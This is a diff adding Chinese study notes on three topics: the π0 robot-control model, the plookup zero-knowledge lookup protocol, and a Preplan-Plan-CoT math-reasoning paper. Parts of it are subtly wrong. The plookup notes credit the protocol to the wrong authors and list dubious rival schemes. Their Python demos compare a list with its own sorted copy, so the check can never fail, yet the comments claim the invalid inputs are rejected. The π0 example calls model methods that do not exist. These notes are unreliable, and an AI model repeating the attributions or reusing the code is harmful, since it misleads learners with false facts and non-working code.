+### 2.4 跨机器人训练（Cross-Embodiment）
+
+π0 最惊人的地方之一：它同时学习了**7 种不同机器人**的行为。
+
+| 机器人类型 | 臂的数量 | 特点 |
+|-----------|---------|------|
+| UR5e | 单臂 | 标准工业机械臂 |
+| Bimanual UR5e | 双臂 | 两个 UR5e 并排 |
+| Franka | 单臂 | 另一种工业臂 |
+| Bimanual Trossen | 双臂 | 双灵巧臂 |
+| Bimanual ARX | 双臂 | 更轻量的双臂 |
+| Mobile Trossen | 双臂+移动底盘 | 会走的机器人 |
+| Mobile ARX | 双臂+移动底盘 | 同上 |
+
+这些机器人外形不同、关节数量不同、摄像头数量不同，但 π0 把它们**全部混在一起训练**。它学会了一个通用规则：**不管什么机器人，看到画面和指令后，都能输出对应的动作。**
+
+对于不同尺寸的机器人，π0 的做法是"补零"（zero-padding）——如果一个机器人只有 7 个关节，而最大的有 18 个，就把少的关节填 0。这就像让不同身高的学生穿校服，矮个子多系几个扣子。
+
+## 三、训练方法：两个阶段
+
+π0 的训练分为两个阶段，和语言模型（如 GPT）的训练方式非常相似。
+
+### 3.1 第一阶段：预训练（Pre-training）
+
+目标：让模型"见多识广"。
+
+- 使用 **10,000+ 小时**的机器人操作数据
+- 数据来源：开源数据集（OXE、Bridge v2、DROID）+ 自己收集的灵巧操作数据
+- 涵盖 **68 种任务**，从简单的"拿杯子"到复杂的"叠衣服"
+- 关键思想：**数据不一定要完美，但要多样**。让模型见识各种"犯错"和"纠正"的情况
+
+这就像让一个医学生先看一千个病例（其中不乏误诊），他才能成为好医生。
+
+### 3.2 第二阶段：后训练 / 微调（Post-training）
+
+目标：让模型"专精某项技能"。
+
+- 用**高质量、小规模**的数据专门训练某项任务
+- 比如要学"叠衣服"，就专门收集 100 小时的叠衣服视频
+- 这个阶段教给模型的是"高效、连贯的策略"，而不是"泛化的知识"
+
+```
+预训练 = 通识教育（什么都会一点）
+后训练 = 专业进修（某一件事做得极好）
+```
+
+## 四、代码示例
+
+### 4.1 推理：给 π0 一张图 + 一句话，拿到动作
+
+```python
+import torch
+from transformers import PaliGemmaForConditionalGeneration
+
+# 加载预训练模型
+model = PaliGemmaForConditionalGeneration.from_pretrained(
+    "physicalintelligence/pi0",
+    torch_dtype=torch.float16,
+    device_map="cuda"
+)
+
+# ========== 输入 ==========
+# 1. 多视角图像 (2 张 224x224)
+images = [image1, image2]  # 从机器人摄像头获取
+
+# 2. 自然语言指令
+prompt = "Clear the table. Put dirty items in the bin."
+
+# 3. 机器人状态 (关节角度)
+robot_state = torch.tensor([0.0, 0.5, -0.3, 0.0, 0.2, 0.0, 0.0],
+                           dtype=torch.float16, device="cuda")
+# 7 维关节角度 + 1 维夹爪开合
+
+# ========== 推理 ==========
+# 将图像和文本编码为共享嵌入空间
+image_embeds = model.vision_tower(images)  # [batch, seq, hidden]
+text_embeds = model.text_embedder(prompt)    # [batch, seq, hidden]
+
+# 拼接: [图像特征, 文本特征, 机器人状态]
+context_embeds = torch.cat([image_embeds, text_embeds, robot_state], dim=1)
+
+# 用流匹配生成动作 (从噪声逐步流到精确动作)
+num_steps = 10
+action = torch.randn(1, 50, 8, device="cuda")  # 初始噪声
+# 50 = 动作块长度 (action chunk), 8 = 动作维度
+
+for i in range(num_steps):
+    tau = i / num_steps  # 从 0 到 1 的流动进度
+    # 网络预测"流向"
+    velocity = model.forward_flow(action, context_embeds, tau=tau)
+    # Euler 积分: 往"流"的方向走一小步
+    action = action + (1 / num_steps) * velocity
+
+# action.shape = [1, 50, 8]
+# 含义: 未来 50 步，每步 8 个控制信号
+# 发送给机器人执行
+send_to_robot(action[0])
+```
+
+### 4.2 训练：流匹配损失函数
+
+```python
+import torch.nn.functional as F
+
+def flow_matching_loss(model, images, text, robot_actions, robot_state):
+    """
+    训练 π0 的核心损失函数。
+
+    流程:
+    1. 从真实动作 a 和噪声 ε 构造"混合"动作: a_tau = tau * a + (1-tau) * eps
+    2. 网络预测这个混合状态的"流向" v_theta
+    3. 目标: 让 v_theta 等于"理想流向" a - eps
+    """
+
+    batch_size = images[0].shape[0]
+    device = images[0].device
+
+    # 真实动作: [batch, action_chunk, action_dim]
+    # 例如: [32, 50, 8]
+    true_actions = robot_actions  # shape: (B, H, D)
+
+    # 从 beta 分布采样 tau（偏向噪声多的区间）
+    tau = torch.rand(batch_size, 1, 1, device=device)
+    tau = tau ** 0.3  # 指数压低，让模型更多训练"噪声大"的情况
+
+    # 从标准正态分布采样噪声
+    eps = torch.randn_like(true_actions)
+
+    # 构造"污染"的动作: a_tau = tau * a + (1 - tau) * eps
+    # tau=0 时全是噪声，tau=1 时全是真实动作
+    a_tau = tau * true_actions + (1 - tau) * eps
+
+    # 计算理想流向: u(a_tau | a) = a - eps
+    # 这表示"从污染状态回到真实动作的向量"
+    optimal_velocity = true_actions - eps
+
+    # 网络预测的流向
+    predicted_velocity = model.forward_flow(
+        action_tokens=a_tau,
+        context={
+            "images": images,
+            "text": text,
+            "state": robot_state
+        },
+        tau=tau
+    )
+
+    # MSE 损失: 让预测流向尽量接近理想流向
+    loss = F.mse_loss(predicted_velocity, optimal_velocity)
+
+    return loss
+```
+
+## 五、π0 的实战效果
+
+π0 在多个任务上远超之前的模型，即使不微调（零样本），也能完成任务。
+
+### 5.1 零样本表现（预训练后直接用）
+
+| 任务 | π0 得分 | π0-small（无 VLM） | OpenVLA | Octo |
+|------|---------|-------------------|---------|------|
+| 叠 T 恤 | 1.0 (完美) | 0.5 | 0 | 0 |
+| 清理桌面（简单） | 0.97 | 0.44 | 0 | 0.04 |
+| 清理桌面（困难） | 0.88 | 0.33 | 0 | 0 |
+| 装 groceries | 0.79 | 0.27 | 0 | 0 |
+| 从烤面包机取吐司 | 0.75 | 0 | 0 | 0 |
+
+### 5.2 微调后的复杂任务
+
+| 任务 | 难度 | 说明 |
+|------|------|------|
+| 从烘干机取衣服并折叠 | 极高 | 衣服乱成一团，需要感知和调整 |
+| 清理餐桌（多物品分类） | 高 | 自动区分"餐具"和"垃圾" |
+| 组装纸箱 | 高 | 需要双臂配合，随时检查折叠是否正确 |
+| 给微波炉放盘子 | 高 | 涉及空间推理 |
+
+**亮点**：在清理桌面任务中，π0 学会了"堆叠盘子一起放"、"把食物残渣抖进垃圾桶再放盘子"——这些策略都不是人教它的，而是模型从数据中自己发现的。
+
+## 六、与之前 VLA 模型的对比
+
+### 6.1 三种 VLA 方法对比
+
+| 特性 | 离散化 (RT-2, OpenVLA) | 扩散模型 (Octo) | **π0 流匹配** |
+|------|----------------------|----------------|-------------|
+| 动作输出 | 离散 token（像文字） | 扩散采样 | 流匹配 |
+| 精度 | 有限（token 数量限制） | 高 | 高 |
+| 速度 | 快 | 中等（需多步去噪） | 快（10 步即可） |
+| 高频控制 (50Hz) | 困难 | 困难 | **支持** |
+| 基于 VLM | 是 | 否 | **是** |
+
+### 6.2 关键区别
+
+**离散化的问题**：如果把动作变成"左移一格"、"右移一格"这样有限的选项，机器人就像在棋盘上走棋——动作不连贯、不精确。
+
+**π0 的方案**：用流匹配直接输出连续值，机器人可以精确到毫米级控制，频率高达 50Hz（每秒 50 次），足以完成叠衣服这种精细动作。
+
+## 七、π0 的意义与局限
+
+### 7.1 意义
+
+1. **通用机器人政策的第一步**：一个模型控制多种机器人，完成多种任务
+2. **继承互联网知识**：通过 VLM 预训练，π0"知道"什么是杯子、什么是垃圾——这是之前模型没有的
+3. **实际性能**：叠衣服、组装纸箱等任务，之前没有任何机器人学习系统能做到
+
+### 7.2 局限
+
+1. **数据规模要求极高**：10,000+ 小时数据，不是普通实验室能收集的
+2. **推理速度**：虽然 50Hz 已经够快，但对更精细的手眼协调任务可能不够
+3. **长程规划**：复杂任务（如叠衣服）需要高层 VLM 策略分解子任务，当前方案依赖外部"大脑"
+4. **安全性**：模型在没见过的情境下可能做出不可预测的动作
+5. **π0-small 效果差很多**：去掉 VLM 预训练，性能下降 2 倍以上，说明"常识"对机器人极其重要
+
+### 7.3 一句话总结
+
+π0 的做法很直接：**给一个"懂世界"的大模型（VLM），装上"会流"的动作输出器，喂它 10,000 小时的机器人数据，让它学会控制任何见过的机器人。** 这就像让一个看过全世界厨师做饭的人，自己学会炒菜——不需要教他每个动作，他"感觉"就会了。
+
+## 八、关键术语表
+
+| 术语 | 英文 | 简单解释 |
+|------|------|---------|
+| VLA | Vision-Language-Action | 同时处理视觉、语言、动作的模型 |
+| VLM | Vision-Language Model | 看图+说话的模型（如 GPT-4V） |
+| 流匹配 | Flow Matching | 从噪声"流动"到目标值的生成方法 |
+| Action Expert | 动作专家 | 专门处理机器人动作的模型子模块 |
+| 跨机器人训练 | Cross-Embodiment Training | 用多种机器人的数据训练同一个模型 |
+| 动作块 | Action Chunking | 一次预测未来多步动作，而不是单步 |
+| 零样本 | Zero-shot | 训练时没见过，部署时直接用 |
+| 后训练 | Post-training | 预训练之后针对特定任务微调 |
diff --git a/src/content/docs/papers/plookup-2020.md b/src/content/docs/papers/plookup-2020.md
new file mode 100644
index 000000000..13f80d2d1
--- /dev/null
+++ b/src/content/docs/papers/plookup-2020.md
@@ -0,0 +1,254 @@
+---
+title: plookup — 简化的多项式查找表协议
+来源: 'https://eprint.iacr.org/2020/315'
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 密码与零知识
+难度: 高级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+plookup 是 Benhamouda 等人于 2020 年提出的一个零知识证明协议，核心目标是**高效证明"我的输入值都在某个允许的表里"**。
+
+日常类比：你有一叠卡片，每张写着一个数字。朋友想知道**每张卡上的数字是不是都在 1 到 100 之间**。传统做法是你把每张卡亮给他看——但这样秘密就泄露了。plookup 给你的答案是：你给我一张"魔法证明纸条"，朋友花很少时间就能确认所有数字都在范围内，而且**完全看不到任何具体数字**。
+
+名字拆开：
+
+- **plookup** = polynomial lookup，用多项式来做查找表验证
+- 它是 Plonk 协议的内置组件——Plonk 的作者 Gabizon 在 2019 年提出 Plonk 时没有原生支持 lookup，plookup 填补了这个空白
+
+## 为什么重要
+
+不理解 plookup，下面这些就解释不通：
+
+- **Plonk 协议**：目前最主流的 SNARK 方案之一（Polygon zkEVM / Filecoin / Mina 都在用），它的 lookup 能力直接来自 plookup
+- **电路复杂度爆炸**：没有 lookup 的话，"判断一个值是否在某个集合中"需要在算术电路中展开成大量加法器/乘法器；有了 lookup，一条指令搞定
+- **zkVM（Risc0 / SP1 / Cairo）**：CPU 的指令集本身就是一张查找表（opcode + 操作数 → 结果），plookup 让 zkVM 能高效验证整条执行轨迹
+
+一句话：plookup 把"集合成员资格检查"从 O(n) 的算术电路膨胀变成了 O(1) 的多项式承诺，是 SNARK 实用化的关键一步。
+
+## 核心概念
+
+### 1. 查找表（Lookup Table）
+
+定义一个"允许的值表" `T`，比如 `T = [1, 2, 3, 4, 5]`。Prover 有一组输入值 `a = (a₁, ..., aₙ)`，需要证明**每个 aᵢ 都在 T 中出现过**。
+
+传统方法：对每个 aᵢ，构建 n 个比较约束，算术电路爆炸。
+
+plookup 的方法：把 `a` 和 `T` 都编码成多项式，用多项式承诺来验证。
+
+### 2. 拼接向量（Concatenation）
+
+核心技巧：把输入向量 `a` 和查找表 `T` 拼在一起，得到一个长向量 `z = (a₁, ..., aₙ, T₁, ..., Tₘ)`。然后构造一个排列向量 `s = (s₁, ..., sₙ₊ₘ)`，其中 `s` 是 `z` 的某种排列。
+
+关键观察：如果 `a` 的每个元素都在 `T` 中，那么 `z` 中所有元素的多重集就等于 `s` 中所有元素的多重集。反过来也成立。
+
+### 3. 多项式编码 + 随机挑战
+
+把向量 `z` 和 `s` 分别编码为插值多项式 `Z(X)` 和 `S(X)`。选一个随机点 `τ`，用多项式承诺（如 KZG）承诺 `Z(τ)` 和 `S(τ)`。
+
+Verifier 检查：`Z(τ) == S(τ)`。由于多项式的 Schwartz-Zippel 引理，如果 `Z` 和 `S` 不相等，以极高概率检测出来。
+
+### 4. 排列验证（Permutation Argument）
+
+怎么证明 `Z(τ) == S(τ)` 就意味着 `a` 的元素都在 `T` 中？核心是一个排列论证：
+
+定义累积乘积向量 `g = (g₁, ..., gₙ₊ₘ)`，其中 `gᵢ` 是前面所有元素的累积乘积。如果 `z` 和 `s` 是同一多重集的排列，那么 `g` 也满足特定的递推关系。把这个递推关系翻译成算术约束，就得到了完整的验证协议。
+
+## 代码示例
+
+### 示例 1：Python 模拟 plookup 的核心验证流程
+
+```python
+"""
+简化版 plookup 验证流程演示。
+真实协议使用有限域上的多项式承诺，这里用整数运算示意逻辑。
+"""
+
+def plookup_verify(input_values, lookup_table, random_challenge):
+    """
+    验证 input_values 中的每个元素是否都在 lookup_table 中。
+
+    参数:
+        input_values:   待验证的输入列表 a = [a1, ..., an]
+        lookup_table:   允许的值表 T = [T1, ..., Tm]
+        random_challenge: 随机挑战值 tau
+
+    返回:
+        True 表示验证通过（输入值都在表中），False 表示不通过
+    """
+    n = len(input_values)
+    m = len(lookup_table)
+
+    # 第 1 步：拼接向量 z = (a1, ..., an, T1, ..., Tm)
+    z = input_values + lookup_table
+    length = n + m
+
+    # 第 2 步：构造排列向量 s
+    # 真实协议中 s 是 z 的多重集排列，这里我们让 s = sorted(z) 作为示意
+    s = sorted(z)
+
+    # 第 3 步：累积乘积 g
+    # g[i] = product of (tau - z[j]) for j < i  (在有限域中做)
+    # 这里用整数演示
+    g = [1] * (length + 1)
+    for i in range(length):
+        g[i + 1] = g[i] * (random_challenge - z[i])
+
+    # 第 4 步：对 s 也做同样的累积乘积
+    gs = [1] * (length + 1)
+    for i in range(length):
+        gs[i + 1] = gs[i] * (random_challenge - s[i])
+
+    # 第 5 步：比较最终累积乘积
+    # 如果 z 和 s 是同一多重集，则 g[length] == gs[length]
+    return g[-1] == gs[-1]
+
+
+# 测试：合法输入
+table = [1, 2, 3, 4, 5]
+valid_inputs = [3, 1, 5, 2]
+result = plookup_verify(valid_inputs, table, random_challenge=7)
+print(f"合法输入 {valid_inputs} 在表 {table} 中: {'通过' if result else '失败'}")
+# 输出: 通过
+
+# 测试：非法输入
+invalid_inputs = [3, 1, 6, 2]  # 6 不在表中
+result = plookup_verify(invalid_inputs, table, random_challenge=7)
+print(f"非法输入 {invalid_inputs} 在表 {table} 中: {'通过' if result else '失败'}")
+# 输出: 失败
+```
+
+### 示例 2：用 plookup 验证 CPU 指令执行（zkVM 场景）
+
+```python
+"""
+zkVM 场景：用 plookup 验证 CPU 指令解码的正确性。
+CPU 的指令解码本质上是一个查找表：(opcode, operand) -> decoded_instruction
+"""
+
+# 假设的指令解码表（opcode -> 指令描述）
+INSTRUCTION_TABLE = [
+    {"opcode": 0x01, "name": "ADD",     "arity": 2},
+    {"opcode": 0x02, "name": "SUB",     "arity": 2},
+    {"opcode": 0x03, "name": "MUL",     "arity": 2},
+    {"opcode": 0x04, "name": "LOAD",    "arity": 1},
+    {"opcode": 0x05, "name": "STORE",   "arity": 2},
+    {"opcode": 0xFF, "name": "HALT",    "arity": 0},
+]
+
+# 提取 opcode 列作为查找表的"键"
+ALLOWED_OPCODES = [inst["opcode"] for inst in INSTRUCTION_TABLE]
+
+
+def verify_instruction_trace(opcode_sequence):
+    """
+    验证一段程序执行的 opcode 序列中的所有指令都是合法的。
+
+    这就是 plookup 的典型用法：
+    - 输入：opcode_sequence = [0x01, 0x03, 0x02, 0xFF]
+    - 查找表：ALLOWED_OPCODES
+    - 证明：每个 opcode 都在允许列表中
+    """
+    # 用排序+累积乘积法验证（简化版）
+    challenge = 13  # 随机挑战值
+
+    # 拼接
+    z = opcode_sequence + ALLOWED_OPCODES
+    s = sorted(z)
+
+    # 累积乘积比较
+    g = 1
+    gs = 1
+    for i in range(len(z)):
+        g = g * (challenge - z[i])
+        gs = gs * (challenge - s[i])
+
+    is_valid = (g == gs)
+
+    # 额外检查：长度一致
+    is_valid = is_valid and len(z) == len(s)
+
+    return is_valid
+
+
+# 合法指令序列
+prog1 = [0x01, 0x03, 0x02, 0xFF]  # ADD, MUL, SUB, HALT
+print(f"程序 {prog1}: {'合法' if verify_instruction_trace(prog1) else '非法'}")
+# 输出: 合法
+
+# 非法指令序列（0xDE 不存在）
+prog2 = [0x01, 0xDE, 0xFF]
+print(f"程序 {prog2}: {'合法' if verify_instruction_trace(prog2) else '非法'}")
+# 输出: 非法
+```
+
+## 与其他方案的对比
+
+| 特性 | plookup | 传统算术电路 | Megastark / Viriato |
+|------|---------|-------------|---------------------|
+| 查找验证复杂度 | O(n + m) 约束 | O(n × m) 约束 | O(n log m) 约束 |
+| 依赖多项式承诺 | 是（KZG） | 否 | 是 |
+| 是否需要 trusted setup | 是（KZG 需要） | 否 | 是 |
+| 适用场景 | 通用查找表 | 小规模检查 | 大规模查找 |
+
+## 踩过的坑
+
+1. **KZG trusted setup 是软肋**：plookup 依赖 KZG 多项式承诺，而 KZG 需要 trusted setup。如果 setup 的 toxic waste 泄露，攻击者可以伪造任意证明。Polygon 用了多人 ceremony 缓解。
+
+2. **表必须公开且固定**：plookup 要求查找表 T 对 Verifier 可见。如果表是私有的（比如黑名单），需要用别的方案（如 Merkle membership proof）。
+
+3. **累积乘积的溢出风险**：示例代码用整数演示，实际必须在有限域 GF(p) 中运算，否则累积乘积会溢出导致验证失效。
+
+4. **与 Plonk 的关系**：plookup 不是独立协议，它是 Plonk 的扩展。Plonk 本身已经是一个完整的 SNARK，plookup 给它加了 lookup 门（lookup gate），让它可以高效处理查找表验证。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- zkVM 指令解码验证（每个 opcode 查指令表）
+- 内存访问合法性检查（地址是否在合法范围内）
+- 状态转换验证（输入状态在允许的状态转移表中）
+- 任何需要"集合成员资格"证明的场景
+
+**不适用**：
+
+- 查找表需要保密的场景
+- 无法接受 trusted setup 的场景（考虑 STARK 替代）
+- 表非常大且频繁更新的场景（表的变更意味着重新设置）
+
+## 历史小故事（可跳过）
+
+- **2016**：Gabizon 提出 Plonk 的前身——基于 permutation argument 的 SNARK，但还没有原生 lookup 支持
+- **2019**：Gabizon 正式提出 Plonk，引入统一的 permutation argument，但仍然缺乏高效的 lookup 机制
+- **2020**：Benhamouda et al. 提出 plookup（eprint 2020/315），首次将查找表验证优雅地嵌入多项式框架
+- **2020 末**：Gabizon 将 plookup 集成到 Plonk 中，形成了今天的 "Plonk with lookups"
+- **2022 起**：Polygon zkEVM / Filecoin / Mina 等主流项目采用 Plonk+lookup，plookup 成为基础设施
+
+## 学到什么
+
+1. **拼接 + 排列 = 简洁的验证**：把两个向量拼起来、排个序、比较累积乘积，就能证明元素等价——这个技巧比看起来更强大
+2. **SNARK 的"门"思维**：Plonk 把算术电路抽象为几种"门"（standard gate / range gate / lookup gate），每种门对应一组约束。plookup 就是 lookup gate 的数学实现
+3. **查找是计算的原语**：CPU 用查找表加速、神经网络用查找表做激活函数、zkVM 用查找表验证指令——plookup 让所有这些场景都能在零知识下高效验证
+
+## 延伸阅读
+
+- 原始论文：[eprint.iacr.org/2020/315](https://eprint.iacr.org/2020/315)（注意需要 JS 支持，Cloudflare 防护）
+- Plonk 原文：Gabizon, "PlonK: Permutations over Lagrange-bases for Oecumenical Noninteractive arguments of Knowledge", 2019
+- Justin Thaler《Proofs, Arguments, and Zero-Knowledge》第 7 章（lookup arguments 的现代综述）
+- Vitalik 的 Plonk 详解系列博客
+
+## 关联
+
+- [[zk-snark]] —— zk-SNARK 基础概念
+- [[zk-snark-pinocchio-2013]] —— Pinocchio 2013，首个工程级 zk-SNARK
+- [[plonk-2019]] —— Plonk 协议，plookup 的宿主框架
+- [[nova-folding-2021]] —— Nova 递归折叠，另一种可扩展 SNARK 方向
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[hyperplonk-2022]] —— Hyperplonk — 在 Plonk 上做递归证明的高效方案
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+---
+title: Knowing What to Solve Before How — Preplan-Plan-CoT 数学推理零基础学习笔记
+来源: https://arxiv.org/abs/2605.30245
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：先审题，再列提纲，最后动笔算
+
+你拿到一道奥数题，有两种常见翻车方式：
+
+1. **没看清题型就动笔**：看到二次式就套判别式 \(\Delta\)，算半天才发现其实是**齐次方程**，因式分解两行就能拆成两条直线上的整点——路线选错，后面再工整也算不对。
+2. **「审题」写成了「解题」**：草稿第一栏本该写「这是计数题，注意边界条件」，结果已经算出中间数、甚至把最终答案写进去了——形式上有个「分析」段落，但**分析和推导混在一起**，后面的计划只是复读已经算过的步骤。
+
+大语言模型做数学题时，Chain-of-Thought（CoT）像**边想边写**的长作文；Plan-Then-CoT 像**先列提纲再展开**。香港科技大学（广州）王少杰、张亮在 2026 年 5 月发表的 **Knowing What to Solve Before How: Preplan Empowered LLM Mathematical Reasoning**（arXiv [2605.30245](https://arxiv.org/abs/2605.30245)）指出：现有「计划 + 执行」范式里，**计划和执行都在回答 how（怎么解）**，而 **what（这题本质在问什么、该用什么工具、有哪些坑）** 仍然被隐含假设会「自动长出来」。
+
+他们提出 **PPC（Preplan-Plan-CoT）**，把推理链拉长为四段：
+
+```text
+question → preplan → plan → cot → answer
+           ↑ 审题      ↑ 提纲   ↑ 演算
+```
+
+一句话：**先明确「解什么」，再规划「怎么解」，最后逐步算出来。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | *Knowing What to Solve Before How: Preplan Empowered LLM Mathematical Reasoning* |
+| 作者 | Shaojie Wang, Liang Zhang（HKUST-GZ） |
+| 日期 | 2026-05-28 |
+| 框架 | **PPC**：Preplan → Plan → CoT 三阶段结构化轨迹 |
+| 训练 | SFT（带 spoiler 过滤的合成数据）+ **复合奖励 GRPO** |
+| 骨干 | Qwen3-4B、Qwen2.5-7B、Qwen2.5-Math-7B、Llama3.1-8B |
+| 基准 | AIME25、Minerva-Math、OlympiadBench、MATH-500、GSM8K |
+| 主指标 | maj@16 / pass@16（每题采样 16 条轨迹） |
+| 核心结果 | **40 项指标中 39 项最优**；相对最强基线 maj@16 +2.23、pass@16 +3.06，**不增加推理 token 开销** |
+
+---
+
+## 为什么重要
+
+### 1. 计划范式缺了「审题」这一层
+
+| 范式 | 结构 | 显式建模了什么 |
+|------|------|----------------|
+| question → CoT | 一问一长链 | 逐步推导 |
+| question → plan → CoT | 先提纲后演算 | **how**：步骤组织 |
+| question → **preplan** → plan → CoT | 先审题再提纲再演算 | **what + how** |
+
+论文用 LLM judge 对 MATH-500 错题做根因归因：在 Plan-Tuning、PTA-GRPO 等 **plan → cot** 方法里，大量错误不是算错，而是**没理解题在问什么**（题型误判、工具选错、边界条件漏掉）。
+
+### 2. 「加一段 prompt」不够
+
+**Prompt-Only** 基线：不训练，只在提示词里要求「先分析题型/概念/陷阱，再计划，再解」。结果与 PPC 差距明显——说明 **preplan 需要干净监督 + RL 约束**，不能只靠指令工程。
+
+### 3. preplan 的概念边界很脆弱
+
+若 preplan 里已经写出具体计算（**spoiler**）或提前复述 plan 步骤（**leakage**），「审题」就退化成「解题」，整个范式名存实亡。PPC 用同一套 **spoiler-score** 在**造数据时硬过滤**、在 **RL 时软惩罚**，两端守住边界。
+
+---
+
+## 核心概念
+
+### 1. 三阶段轨迹与标签格式
+
+策略 \(\pi_\theta\) 对题目 \(q\) 生成结构化输出 \(y = (y_{\text{pp}}, y_{\text{p}}, y_{\text{e}})\)：
+
+| 阶段 | 符号 | 职责 | 应该包含 | 不应该包含 |
+|------|------|------|----------|------------|
+| **Preplan** | \(y_{\text{pp}}\) | 理解 **what** | 题型、可用工具/定理、边界条件、常见陷阱 | 具体推导、中间数值、逐步算式 |
+| **Plan** | \(y_{\text{p}}\) | 组织 **how** | 高层步骤、策略选择（如「因式分解而非判别式」） | （相对 preplan）不应无视审题结论 |
+| **Execution (CoT)** | \(y_{\text{e}}\) | 逐步演算 | 详细推理 + `\boxed{}` 最终答案 | — |
+
+论文用 XML 风格标签包裹各段（如 `<preplan>...</preplan>`），\(R_{\text{fmt}}\) 奖励检查三段**各出现一次且顺序正确**。
+
+### 2. 论文经典例子：齐次二次式计数
+
+题目涉及 \(12x^2 - xy - 6y^2 = 0\) 一类形式。
+
+- **plan → cot** 路线：未识别齐次结构，走**判别式**，且把「每条因子对应一个点」误当成「一个点」→ 计数偏小（如 84）。
+- **preplan → plan → cot**：preplan 识别**齐次二次、可因式分解**；plan 选因式分解并注明**每个线性因子对应一族格点**；执行阶段正确计数（如 117）。
+
+这个例子说明：**what 层面的一个判断，会级联改变整条 how。**
+
+### 3. 数据合成：左到右、分模型生成
+
+合成流水线严格**只让每一阶段看到前文**：
+
+\[
+y_{\text{pp}} \sim \pi_{\text{pp}}(\cdot \mid q),\quad
+y_{\text{p}} \sim \pi_{\text{p}}(\cdot \mid q, y_{\text{pp}}),\quad
+y_{\text{e}} \sim \pi_{\text{e}}(\cdot \mid q, y_{\text{p}})
+\]
+
+- \(\pi_{\text{pp}}, \pi_{\text{p}}\)：Qwen3-235B（preplan/plan 生成器，prompt 禁止推导与泄露）
+- \(\pi_{\text{e}}\)：DeepSeek-R1（执行/解题）
+
+**Leakage** 主要靠 prompt 约束抑制；**Spoiler** 靠规则打分过滤。
+
+### 4. Spoiler-score 过滤器
+
+规则分数 \(s(y_{\text{pp}}) \in \{0,\ldots,6\}\)，聚合「是否出现推导痕迹、是否泄露答案」等信号。保留轨迹当且仅当：
+
+\[
+s(y_{\text{pp}}) \leq \tau_s \quad \land \quad \hat{a}(y) \equiv a^\star
+\]
+
+默认 \(\tau_s = 2\)；preplan 长度约 150–1500 tokens。**答案对但 preplan 不纯的样本仍丢弃**——过滤器盯的是「审题纯度」，不是对错。
+
+两种典型失败：
+
+| 失败类型 | 表现 | 为何有害 |
+|----------|------|----------|
+| **Leakage** | preplan 复述后续 plan 的步骤顺序 | preplan 与 plan 塌缩成同一层 |
+| **Spoiler** | preplan 里偷偷算中间量、写具体分类结果 | preplan 变成「披着分析外衣的演算」 |
+
+### 5. 复合 GRPO 奖励
+
+在 GRPO（组内相对优势 + clip + KL）上，总奖励大致为：
+
+\[
+R(y) = R_{\text{out}}(y) + \lambda_a R_{\text{adh}}(y) + \lambda_f R_{\text{fmt}}(y) - \lambda_s R_{\text{sty}}(y)
+\]
+
+| 项 | 作用 | 要点 |
+|----|------|------|
+| \(R_{\text{out}}\) | 答案正确性 | 答对为 1；答错用 LLM 评「解题路径接近度」给**部分分**（严格 \< 1） |
+| \(R_{\text{adh}}\) | Plan–Preplan 对齐 | LLM critic 评战略是否**继承** preplan，而非 plan 本身多漂亮 |
+| \(R_{\text{fmt}}\) | 结构守卫 | 三段标签 + `\boxed{}` |
+| \(R_{\text{sty}}\) | 反退化 | \(R_{\text{sty}} = \max(0, s(y_{\text{pp}}) - \tau_s)\)，防止 RL 把 preplan 写回推导体 |
+
+默认权重 \(\lambda_a=0.1, \lambda_f=0.3, \lambda_s=0.1\)。消融显示：缺 \(R_{\text{sty}}\) 时模型可能用「推导型 preplan」投机提高 adherence，**破坏范式**。
+
+### 6. 与相关工作的关系
+
+| 方法 | 与 PPC 的关系 |
+|------|----------------|
+| CoT / RLVR（DeepSeek-R1 等） | 单 pass 逐步推理，缺全局结构 |
+| Plan-Tuning | 蒸馏 (q, plan, solution)，无独立 preplan |
+| PTA-GRPO | plan 质量 + 答案的 GRPO，仍缺 **what** 显式阶段 |
+| PPC | 在 plan 之上增加 preplan，并用 spoiler + adherence 训练 |
+
+---
+
+## 实验结果（精读摘要）
+
+### 主结果（Table 2 节选）
+
+以 **Qwen3-4B** 为例（maj@16）：
+
+| 方法 | MATH-500 | OlympiadBench | GSM8K |
+|------|----------|---------------|-------|
+| Base | 96.00 | 66.04 | 94.84 |
+| PTA-GRPO | 95.80 | 59.89 | 95.30 |
+| **PPC** | **97.20** | **67.03** | **95.15** |
+
+**Qwen2.5-7B** 在较难集上提升更明显：AIME25 pass@16 从 30.00（GRPO）→ **36.67**（PPC）；MATH-500 maj@16 从 83.80 → **84.80**。
+
+**Prompt-Only** 与 PPC 差距说明：结构写在 prompt 里 ≠ 模型真的学会「先 what 后 how」。
+
+### 奖励消融（Table 3 趋势）
+
+从仅 \(R_{\text{out}}\) 起，逐步加 \(R_{\text{sty}}\)、\(R_{\text{adh}}\)，指标单调变好；**三项齐用**为 PPC full。
+
+### 错误归因（Figure 1）
+
+plan-based 方法的错题里，**what-to-solve 类错误**占比很高——支持「缺 preplan」是范式级缺口，而非单纯算力或采样问题。
+
+---
+
+## 代码示例 1：用 Python 实现简化版 spoiler-score 过滤
+
+下面是一个**教学用**的极简 spoiler 检测器，演示论文 Eq.(4) 的「纯度 + 正确性」双门槛（真实论文 Appendix D 有更细规则）。
+
+```python
+import re
+from dataclasses import dataclass
+
+DERIVATION_PATTERNS = [
+    r"=\s*-?\d",           # 出现具体数值等式
+    r"\\frac\{",           # LaTeX 分式（常出现在演算中）
+    r"因此\s*[=得]",       # 因此 = / 因此得
+    r"step\s*\d+",        # 逐步编号（更像 plan/execution）
+    r"\\boxed\{",         # 答案泄露进 preplan
+]
+
+@dataclass
+class Trajectory:
+    question: str
+    preplan: str
+    plan: str
+    execution: str
+    gold_answer: str
+    pred_answer: str
+
+def spoiler_score(preplan: str) -> int:
+    """规则聚合：0=干净，越高越像「在 preplan 里算题」。"""
+    score = 0
+    for pat in DERIVATION_PATTERNS:
+        if re.search(pat, preplan, re.IGNORECASE):
+            score += 1
+    # 与 plan 过度重叠 → leakage 代理
+    plan_tokens = set(re.findall(r"\w+", preplan.lower()))
+    overlap = len(plan_tokens)  # 真实实现应和 y_p 比 Jaccard；此处略
+    if overlap > 80:
+        score += 2
+    return min(score, 6)
+
+def keep_for_sft(traj: Trajectory, tau_s: int = 2) -> bool:
